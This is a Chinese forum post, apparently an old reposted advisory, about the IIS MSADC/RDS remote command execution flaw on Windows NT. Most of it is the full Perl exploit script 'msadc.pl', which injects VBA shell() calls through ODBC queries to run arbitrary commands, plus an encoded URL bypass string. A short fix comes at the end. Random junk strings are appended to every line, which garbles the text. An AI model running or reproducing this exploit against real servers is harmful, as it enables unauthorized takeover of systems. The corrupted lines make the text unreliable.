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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) SBG.t:  
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涉及程序: ^36m$J$  
Microsoft NT server ?_G?SQ  
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描述: X}j_k=,C  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ?\T):o;/  
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详细: =:7OS>x  
如果你没有时间读详细内容的话,就删除: H=>;M j  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !" 7ip9a  
有关的安全问题就没有了。 ~HyqHx y  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >{w"aJ" F  
mM;p 7 sJ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 CXhE+oS5z'  
关于利用ODBC远程漏洞的描述,请参看: :~dI2e\:  
W*NK-F[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .VfBwTh7q8  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 YWUCrnr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp a2`|6M;  
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这里不再论述。 q.g0Oz@ z  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: dQH9NsV7g  
N\WEp?%~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (cEjC`]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bpWEF b'f  
Z{J{6j  
I2<t?c:Pn<  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ju 0  
\4pWHE/  
#!perl 8 ,<F102(  
# dAj;g9N/h  
# MSADC/RDS 'usage' (aka exploit) script ,Z6\%:/  
# HOrD20  
# by rain.forest.puppy CHX- 4-84{  
# %I6c}*W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me W|aFEY  
# beta test and find errors! =]yzy:~ey  
] M#OS$_O@  
use Socket; use Getopt::Std; MehMhHY  
getopts("e:vd:h:XR", \%args); mU3 @|a/@0  
PQFr4EY?i  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; z&r@c-l@  
\9}RAr#2]N  
if (!defined $args{h} && !defined $args{R}) { )cd5iE:FO  
print qq~ 1:r8p6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 2En^su$  
-h <host> = host you want to scan (ip or domain) C:WXI;*cr  
-d <seconds> = delay between calls, default 1 second &6mXsx$  
-X = dump Index Server path table, if available .Q^8 _'ZG  
-v = verbose `96PY !$u  
-e = external dictionary file for step 5 I"<ACM  
OLS.0UEc  
Or a -R will resume a command session y6*9, CF  
3"ii_#1  
~; exit;} :n} NQzs  
- P$mN6h  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; lQSKY}h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (dh{Gk4=+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} QC+K:jL  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); zJ2dPp~u  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} / .ddx<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } /) Pf ]  
97%S{_2m/  
if (!defined $args{R}){ $ret = &has_msadc; hkhk,bhI  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} O4mSr{HCp  
"ApVgNB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" '4""Gz  
. "cmd /c "; Z+*t=?L,,G  
$in=<STDIN>; chomp $in; r#xq 8H=_m  
$command="cmd /c " . $in ; ; n)9  
uGxh}'&  
if (defined $args{R}) {&load; exit;} )_\ZUem  
CPto?=*A  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?!4xtOA  
&try_btcustmr; .(7 end<  
l".LtUf-  
print "\nStep 2: Trying to make our own DSN..."; v7ShXX:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Q,.[y"m9Y.  
5w# Ceg9  
print "\nStep 3: Trying known DSNs..."; #BK3CD(&  
&known_dsn; d0Jaa1b~O  
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print "\nStep 4: Trying known .mdbs..."; z ]@ Q  
&known_mdb;  9z9EK'g  
EPE9HvN  
if (defined $args{e}){ 0pYCh$TL1  
print "\nStep 5: Trying dictionary of DSN names..."; ^` 96L  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Y2)2 tzr]  
1${lHVx]  
print "Sorry Charley...maybe next time?\n"; HFr#Ql>g  
exit; uTemAIp $u  
*Z+8L*k97  
############################################################################## 7 fE QD?C  
?-y!FD}m&  
sub sendraw { # ripped and modded from whisker 9 2e?v8  
sleep($delay); # it's a DoS on the server! At least on mine... Y_H|Fl^  
my ($pstr)=@_; I(cy<ey+e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7~2/NU?  
die("Socket problems\n"); jP]I>Tq  
if(connect(S,pack "SnA4x8",2,80,$target)){ S-M| 6fv  
select(S); $|=1; ww_gG5Fc$  
print $pstr; my @in=<S>; LV^V`m0#  
select(STDOUT); close(S); L7_qs+  
return @in; 8op,;Z7Y  
} else { die("Can't connect...\n"); }} j"8f,er  
8hTtBa  
############################################################################## $qoh0$  
J73B$0FP  
sub make_header { # make the HTTP request $6(,/}==0  
my $msadc=<<EOT PWwz<AI+  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i|@lUXBp  
User-Agent: ACTIVEDATA -R~!N#y  
Host: $ip AE_7sM  
Content-Length: $clen | JmEI9n2  
Connection: Keep-Alive 9^;)~ G  
*K{-J*   
ADCClientVersion:01.06 zfAkWSY  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^`W8>czi  
pwiXA{  
--!ADM!ROX!YOUR!WORLD! 986y\9Zu  
Content-Type: application/x-varg =~OH.=9\  
Content-Length: $reqlen nX@lR~g%F  
k *a?Ey$  
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; $msadc=~s/\n/\r\n/g;  h :[8$]  
return $msadc;} ,?OV39h  
dSD7(s!  
############################################################################## &a'H vQV  
0@FZQ$-  
sub make_req { # make the RDS request Cr!}qZq  
my ($switch, $p1, $p2)=@_; X3z$f(lF%)  
my $req=""; my $t1, $t2, $query, $dsn; hdi/k!9[\  
i\2d1Z  
if ($switch==1){ # this is the btcustmr.mdb query D{Zjo)&tF'  
$query="Select * from Customers where City=" . make_shell(); 5 A/[x $q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GI&XL'K&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} U"1z"PcV  
2D5S%27,  
elsif ($switch==2){ # this is general make table query S,K'y?6  
$query="create table AZZ (B int, C varchar(10))"; :YL`GSl  
$dsn="$p1";} -~nU&$ccL  
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elsif ($switch==3){ # this is general exploit table query T-0[P;  
$query="select * from AZZ where C=" . make_shell(); (*.t~6c?5  
$dsn="$p1";} ZT UaF4k j  
&f}a`/{@  
elsif ($switch==4){ # attempt to hork file info from index server [fN?=,8  
$query="select path from scope()"; =hs !t|(*  
$dsn="Provider=MSIDXS;";} q/ x(:yol  
$=7'Cm ?  
elsif ($switch==5){ # bad query )c'5M]V  
$query="select"; &3 QdQ n,  
$dsn="$p1";} ;#3l&HRKH1  
fl{wF@C6  
$t1= make_unicode($query); ~! *xi  
$t2= make_unicode($dsn); JGP<'6"L$  
$req = "\x02\x00\x03\x00"; 'baew8Q#  
$req.= "\x08\x00" . pack ("S1", length($t1)); #WBlEVx;Z  
$req.= "\x00\x00" . $t1 ; ]9xuLJ)  
$req.= "\x08\x00" . pack ("S1", length($t2)); )!h(oR  
$req.= "\x00\x00" . $t2 ; vqq7IV)|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; w\ hl2JTy  
return $req;} X!}  t``  
UL81x72O  
############################################################################## sSisO?F!Z  
\a:#e%]qz9  
sub make_shell { # this makes the shell() statement 9H@I<`qGC  
return "'|shell(\"$command\")|'";} ^/|agQ7D2  
`[hc{ynO|  
############################################################################## 4)L(41h  
vwVK ^B  
sub make_unicode { # quick little function to convert to unicode R,mOV8y"W[  
my ($in)=@_; my $out; X?,ly3,  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } X$o$8s  
return $out;} axJuJ`+Y  
_ZM$&6EC  
############################################################################## .\r=1HZ3  
:%[=v (G[  
sub rdo_success { # checks for RDO return success (this is kludge) 4uQ\JD(*Eu  
my (@in) = @_; my $base=content_start(@in); >s 4"2X  
if($in[$base]=~/multipart\/mixed/){ l)V!0eW  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} n#jBqr&!M  
return 0;} $XBn:0U  
Lk?%B)z  
############################################################################## ?xftr(  
5a$Q}!6E.Y  
sub make_dsn { # this makes a DSN for us y v6V1gK  
my @drives=("c","d","e","f"); pkW }\r  
print "\nMaking DSN: "; v"nN[_T  
foreach $drive (@drives) { $uw[X  
print "$drive: "; "gm[q."n<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Q5[x2 s_d  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" K U 2LJ_~Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); RJpH1XQ j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ;E Z5/"T  
return 0 if $2 eq "404"; # not found/doesn't exist IM.sW'E  
if($2 eq "200") { p`/"e<TP  
foreach $line (@results) { B,Pbm|U1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [}xVz"8V  
} return 0;} w %4SNR  
@vsgmz  
############################################################################## [v@3|@  
bjn: e!}  
sub verify_exists { W<f-  
my ($page)=@_; U0%T<6*H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); eAU0 8gM.  
return $results[0];} ew13qpt)<L  
g=Gd|  
############################################################################## OyI?P_0u  
r6.`9  
sub try_btcustmr { 3,ihVVr&P  
my @drives=("c","d","e","f"); d#-scv}s5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); cTC -cgp  
pUc N-WA  
foreach $dir (@dirs) { rJjNoY  
print "$dir -> "; # fun status so you can see progress _f5>r(1Q  
foreach $drive (@drives) {  lu_kir~  
print "$drive: "; # ditto QN4{xf:}S  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 'E\/H17  
$reqlenlen=length( "$reqlen" ); GHs,,J;  
$clen= 206 + $reqlenlen + $reqlen; B$=oU   
1K* `i(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); v3p0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} .OyzM  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} O{vVW9Q  
`EXo=Dqc  
############################################################################## ftb .CPWI  
8O[br@h:5  
sub odbc_error { p*NKM} ]I  
my (@in)=@_; my $base; u=6LPwiI  
my $base = content_start(@in); lU\v8!Ji  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this XRl!~Y|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >='y+ 68  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ad}Nc"O  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z|M+ FHl$  
return $in[$base+4].$in[$base+5].$in[$base+6];} 5cUz^ >  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; gzMp&J  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . h tuYctu`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} +=Y[RCXT  
'bQjJRq!  
############################################################################## 5i0vli /L  
M?S&@\}c  
sub verbose { W>_K+: t  
my ($in)=@_; DqJzsk'd3  
return if !$verbose; ,q K'!  
print STDOUT "\n$in\n";} eqY8;/  
UfkQG`G9H  
############################################################################## L^FQ|?*  
Z1~`S!(}  
sub save { 3/{,}F$  
my ($p1, $p2, $p3, $p4)=@_; F"^/R  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q/h , jM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Z[G[.\0  
close OUT;} FyhLMW3  
t" $#KP<  
############################################################################## {9XN\v=$"*  
yog(  
sub load { K'c[r0Ew  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Jm`{MzqL  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  rY CIU  
@p=<IN>; close(IN); wBlo2WY  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); x+bC\,q  
$target= inet_aton($ip) || die("inet_aton problems"); nIqNhJ+  
print "Resuming to $ip ..."; P,s>xM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Rn$TYCO  
if($p[1]==1) { xUF5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $/kZKoF{f  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 'j9x(T1M1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Eh+m|A  
if (rdo_success(@results)){print "Success!\n";} !y&<IT(\4  
else { print "failed\n"; verbose(odbc_error(@results));}} j" 5 +"j  
elsif ($p[1]==3){ ?&JK q^9\I  
if(run_query("$p[3]")){ LlcH#L$  
print "Success!\n";} else { print "failed\n"; }} pS~=T}o  
elsif ($p[1]==4){ c=f;3N  
if(run_query($drvst . "$p[3]")){ |Sv}/ P-  
print "Success!\n"; } else { print "failed\n"; }} ATF>"Ux  
exit;} f~?kx41dq  
K*P:FCz  
############################################################################## ^4C djMF-E  
f_z]kA +H  
sub create_table { qm6X5T  
my ($in)=@_; tfdb9# &?  
$reqlen=length( make_req(2,$in,"") ) - 28; Z_4|L+i<{  
$reqlenlen=length( "$reqlen" ); (H;,E-  
$clen= 206 + $reqlenlen + $reqlen; &<EixDi4q  
my @results=sendraw(make_header() . make_req(2,$in,"")); eWr2UXv$  
return 1 if rdo_success(@results); 98*C/=^TH{  
my $temp= odbc_error(@results); verbose($temp); l^2m7 7)  
return 1 if $temp=~/Table 'AZZ' already exists/; Eih6?Lpu  
return 0;} E/2_@&U:}  
m#^;V  
############################################################################## g'NR\<6A  
OCu/w1 bc  
sub known_dsn { |`'WEe2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9vBW CCf  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  V*W H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", t{e}3}LEd  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); > .K  
))6YOc  
foreach $dSn (@dsns) { \s6 VOR/  
print "."; < =!FB8 .  
next if (!is_access("DSN=$dSn")); j9R+;u/!  
if(create_table("DSN=$dSn")){ p2hPLq  
print "$dSn successful\n"; i.gagb  
if(run_query("DSN=$dSn")){ -d[Gy- J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]] T,;|B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Zd]ua_)I%[  
WO*dO9O  
############################################################################## QTU$mC]  
I7+yu>  
sub is_access { $XcuU sG  
my ($in)=@_; W^i[7 r  
$reqlen=length( make_req(5,$in,"") ) - 28; drJUfsxV  
$reqlenlen=length( "$reqlen" ); !1#=j;N`  
$clen= 206 + $reqlenlen + $reqlen; zh5ovA%  
my @results=sendraw(make_header() . make_req(5,$in,"")); @xr}(.  
my $temp= odbc_error(@results); KB$Y8[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _opB,,G  
return 0;} !?z"d  
nnTiu,2R  
############################################################################## v7<r- <I[  
VDlP,Mm*  
sub run_query { u17 9!  
my ($in)=@_; e\ }'i-  
$reqlen=length( make_req(3,$in,"") ) - 28; l - ~PX  
$reqlenlen=length( "$reqlen" ); X.AE>fx*h  
$clen= 206 + $reqlenlen + $reqlen; '`&b1Rc  
my @results=sendraw(make_header() . make_req(3,$in,"")); n`D-?]*  
return 1 if rdo_success(@results); TVK*l*  
my $temp= odbc_error(@results); verbose($temp); } a!HbH  
return 0;} c1<jY~U  
9 u>X,2gUR  
############################################################################## Zbf~E {  
|21*p#>  
sub known_mdb { e!w#{</8Q  
my @drives=("c","d","e","f","g"); T+>W(w i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); GmZ2a-M  
my $dir, $drive, $mdb; A`V:r2hnb  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; <FwAV=}6p  
.#LHj}u  
# this is sparse, because I don't know of many !Hj 7|5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,#hNHFa'JH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @DlN;r ?Cv  
"\\system32\\certmdb.mdb", jWK>=|)=c  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ^39 ?@xc@  
)Mh5q&ow  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Er|j\(jM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .K+5k`kd  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,S1'SCwVdJ  
"\\cfusion\\cfapps\\security\\realm_.mdb", {?X9juc/#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", v %S$5  
"\\cfusion\\database\\cfexamples.mdb", c#a>> V  
"\\cfusion\\database\\cfsnippets.mdb", )jMk ~;'r  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", wvH*<,8V q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F 7X ] h  
"\\cfusion\\brighttiger\\database\\cleam.mdb", [pz1f!Wn  
"\\cfusion\\database\\smpolicy.mdb", \7Fp@ .S3  
"\\cfusion\\database\cypress.mdb", wpOM~!9R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ]T%wRd5&-  
"\\website\\cgi-win\\dbsample.mdb", W\O.[7JP  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 21hTun"W  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ZSn6JV'g  
); #these are just hYVy65Ea  
foreach $drive (@drives) { LGWQBEXw  
foreach $dir (@dirs){ L/,M@1@R  
foreach $mdb (@sysmdbs) { )SfM`W)Y  
print "."; JiGS[tR  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sbV_h;<  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; H4BuxM_r  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2`V(w[zTr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; XW*d\vDun  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jNAboSf2Y  
cLIeo{H  
foreach $drive (@drives) { (!T\[6  
foreach $mdb (@mdbs) { L F!S`|FF  
print "."; _:G>bU/^  
if(create_table($drv . $drive . $dir . $mdb)){ $ 3R5p  
print "\n" . $drive . $dir . $mdb . " successful\n"; n0w0]dJ&lc  
if(run_query($drv . $drive . $dir . $mdb)){ )NlxW5  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RY~m Q  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8e_9u@p+w  
} ?IR+OCAA  
/ 16 r_l  
############################################################################## #$JY &!M  
sl*&.F,v=  
sub hork_idx { 8VMD304  
print "\nAttempting to dump Index Server tables...\n"; ];Y tw6A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Bacmrf  
$reqlen=length( make_req(4,"","") ) - 28; "SV/'0  
$reqlenlen=length( "$reqlen" ); |k)Nf+(}W  
$clen= 206 + $reqlenlen + $reqlen; uD:tT ~  
my @results=sendraw2(make_header() . make_req(4,"","")); {Yv5Z.L&(  
if (rdo_success(@results)){ K}Lu1:~  
my $max=@results; my $c; my %d; _%<q ZT  
for($c=19; $c<$max; $c++){ nb(Od,L  
$results[$c]=~s/\x00//g; 2bTM0-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; I0OfK3!^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8o,"G}Hjk  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vVH*\&H\T  
$d{"$1$2"}="";} Yu|L6#[E  
foreach $c (keys %d){ print "$c\n"; } BtKbX)R$J  
} else {print "Index server doesn't seem to be installed.\n"; }} %F]:nk`  
Og"\@n  
############################################################################## zG~nRt{4  
u=sZFr@m[  
sub dsn_dict { M;E$ ]Z9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); nY_+V{F  
while(<IN>){ Cx ;n#dn*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; HeM-  
next if (!is_access("DSN=$dSn")); u]Dds;~"b  
if(create_table("DSN=$dSn")){ a`zw5  
print "$dSn successful\n"; E=l^&[dIl  
if(run_query("DSN=$dSn")){ NV9H"fI  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]PZ\N~T  
print "Something's borked. Use verbose next time\n";}}} =kn-F T  
print "\n"; close(IN);} H)i%\7F5  
]D|Hq4ug  
############################################################################## 3 ~\S]  
Yx<wYzD  
sub sendraw2 { # ripped and modded from whisker 1)ZdkTF@H  
sleep($delay); # it's a DoS on the server! At least on mine... PA>su)N$  
my ($pstr)=@_; /7Ft1f  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iFaC[(1@a  
die("Socket problems\n"); D,, x<JG|  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9d&}CZr  
print "Connected. Getting data"; s F3M= uz  
open(OUT,">raw.out"); my @in; Z+C&?K  
select(S); $|=1; print $pstr; ZVz`-h B  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ph=U<D4  
close(OUT); select(STDOUT); close(S); return @in; XB\n4 |4  
} else { die("Can't connect...\n"); }} $rz'Ybs  
rqYx\i?  
############################################################################## 2f.4P]s`T  
ah0  
sub content_start { # this will take in the server headers Ss#UX_DT_  
my (@in)=@_; my $c; ;>B06v  
for ($c=1;$c<500;$c++) { bGa "r  
if($in[$c] =~/^\x0d\x0a/){ 5tl uS  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 6O'6,%#  
else { return $c+1; }}} ,SSq4  
return -1;} # it should never get here actually ]$?\,`  
=E' .T0v  
############################################################################## -O?&+xIK&  
?FwjbG<  
sub funky { E>O1dPZcM  
my (@in)=@_; my $error=odbc_error(@in); ~3s\Q%   
if($error=~/ADO could not find the specified provider/){ ^Ts8nOGMh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; UJ6zgsD1b?  
exit;} M[,G#GO  
if($error=~/A Handler is required/){ $|r p5D6  
print "\nServer has custom handler filters (they most likely are patched)\n"; <Z8^.t)|  
exit;} }uk]1M2=  
if($error=~/specified Handler has denied Access/){ :Y2J7p[+  
print "\nServer has custom handler filters (they most likely are patched)\n"; K44j-Ypb  
exit;}} @m Id{w z  
sn?YD'>k  
############################################################################## wQ/Z:  
.>{I S4  
sub has_msadc { )90K^$93"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 'or8CGr^p  
my $base=content_start(@results); x$Tf IFy  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 61{IXx_  
return 0;} SHT^Etri  
hz~jyH.h_  
######################## !E|k#c9  
3Y+ bIz!  
*oU-V#   
解决方案: o:"^@3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll qmM%MPv  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 bxA1fA;  
dn)pVti_  
拿出来充数 哈哈
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